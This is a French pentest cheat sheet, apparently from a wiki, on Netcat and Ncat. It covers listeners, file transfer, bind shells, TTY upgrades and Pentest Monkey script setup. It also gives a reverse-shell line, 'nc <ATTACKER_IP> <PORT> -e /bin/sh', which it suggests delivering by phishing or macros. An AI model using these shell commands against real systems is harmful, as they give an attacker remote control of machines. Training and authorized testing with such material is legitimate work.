🐈Netcat
Netcat, souvent appelé "nc", est un outil polyvalent de ligne de commande qui permet d'établir des connexions réseau.
Netcat est un utilitaire de réseau polyvalent qui peut être utilisé pour lire et écrire des données sur les connexions réseau en utilisant le protocole TCP/IP. Il est souvent utilisé pour la création de shells interactifs à distance (reverse shells) et pour transférer des fichiers entre des systèmes.
💻 Utilisation Basique
Écoute d'un Port :
nc -nlvp <PORT>
-n
: Supprime la résolution DNS-l
: Mode écoute-v
: Verbose (affiche plus d'informations)-p <PORT>
: Port d'écoute
Connexion à une Adresse et un Port :
nc <IP> <PORT>
<IP>
: Adresse IP à laquelle se connecter<PORT>
: Port sur lequel se connecter
Exécution d'un Shell :
nc -e /bin/bash <IP> <PORT>
-e
: Exécute un programme après la connexion
Transfert de Fichiers :
Exporter un Fichier :
nc -w 3 -nvlp <PORT> > fichier_recu
Importer un Fichier :
nc -w 3 <IP> <PORT> < fichier_a_envoyer
📍 SHELL
Sur la Cible (Linux) :
Créer un Shell de Liaison :
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Cette commande est typiquement utilisée sur la cible pour établir une connexion vers l'attaquant, permettant ainsi à l'attaquant de contrôler la machine cible via un shell.
Sur l'Attaquant :
Établir la Connexion :
nc -lvnp PORT
Remplacez
cible_ip
etcible_port
par l'adresse IP et le port de la cible.
🐚 Reverse Shell
Un reverse shell permet à un système distant de se connecter à un système local pour obtenir un shell interactif. Voici un tutoriel simple utilisant Netcat :
Sur le système distant (attaquant)
nc -lvnp 4444
nc
: L'outil Netcat.lvnp 4444
: Écoute sur le port 4444 en mode verbeux.
Cette commande attend une connexion entrante sur le port spécifié.
Faire parvenir le shell à la cible (phishing, macro ....)
nc <ATTACKER_IP> <PORT> -e /bin/sh
💻 Améliorer l'Expérience du Terminal
Une fois connecté au shell, améliorons notre expérience en exécutant les commandes suivantes dans le shell distant :
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ou
script -qc /bin/bash /dev/null
export TERM=xterm
control+z # Suspend l'exécution du processus actif dans le terminal.
stty raw -echo;fg # Configure le terminal virtuel pour qu'il fonctionne en mode "brut" (raw), ce qui permet de transmettre directement les caractères tapés sur le clavier au processus en cours d'exécution, et reprend l'exécution du processus qui a été suspendu avec control+z
La première commande améliore l'interactivité du shell.
La seconde définit le type de terminal pour permettre l'utilisation de commandes telles que
clear
.
Mettre le Shell en Arrière-Plan
Pour mettre le shell en arrière-plan et retrouver le contrôle de notre terminal, utilisez Ctrl + Z. Ensuite, tapez :
stty raw -echo; fg
stty raw -echo
: Désactive l'écho local du terminal.fg
: Ramène le shell en premier plan.
Créer un shell de liaison sur Windows
Sur le système Windows, lancez Netcat pour écouter sur un port spécifique (par exemple, 4444) et exécuter une commande shell (cmd.exe) lorsqu'une connexion est établie :
nc -nlvp 4444 -e cmd.exe
Sur Kali, connectez-vous au shell de liaison sur le système Windows en utilisant Netcat :
nc -nv IP_windows 4444
🖥️ Liste de reverse shell :
Powershell
💻 Pentest Monkey
Dans ce tutoriel, nous allons utiliser le script Python de Pentest Monkey pour créer un reverse shell. Assurez-vous d'utiliser ces compétences de manière éthique et conformément aux lois en vigueur.
Étape 1 : Télécharger le Script Pentest Monkey
Téléchargez le script Python de Pentest Monkey sur votre machine attaquante. Vous pouvez le trouver à l'adresse suivante :
Étape 2 : Modifier le Fichier avec l'IP de l'Attaquant
Ouvrez le script Python dans un éditeur de texte.
Recherchez la ligne contenant l'adresse IP et le port :

Étape 3 : Configurer l'Écoute sur l'Attaquant
Sur votre machine attaquante, ouvrez un terminal.
Utilisez la commande Netcat pour écouter la connexion entrante :
nc -lvnp 1234
📖 Commandes Ncat Utiles
Écouter en TCP :
ncat -lvnp PORT_NUM
Se connecter en TCP :
ncat TARGET_IP PORT_NUM
Écouter en UDP :
ncat -ulvnp PORT_NUM
Se connecter en UDP :
ncat -u TARGET_IP PORT_NUM
Options Ncat
-l
: Écouter les connexions entrantes-v
: Sortie plus détaillée-n
: Ne pas résoudre les noms d'hôtes-p
: Spécifie le numéro de port-u
: Utiliser UDP
Last updated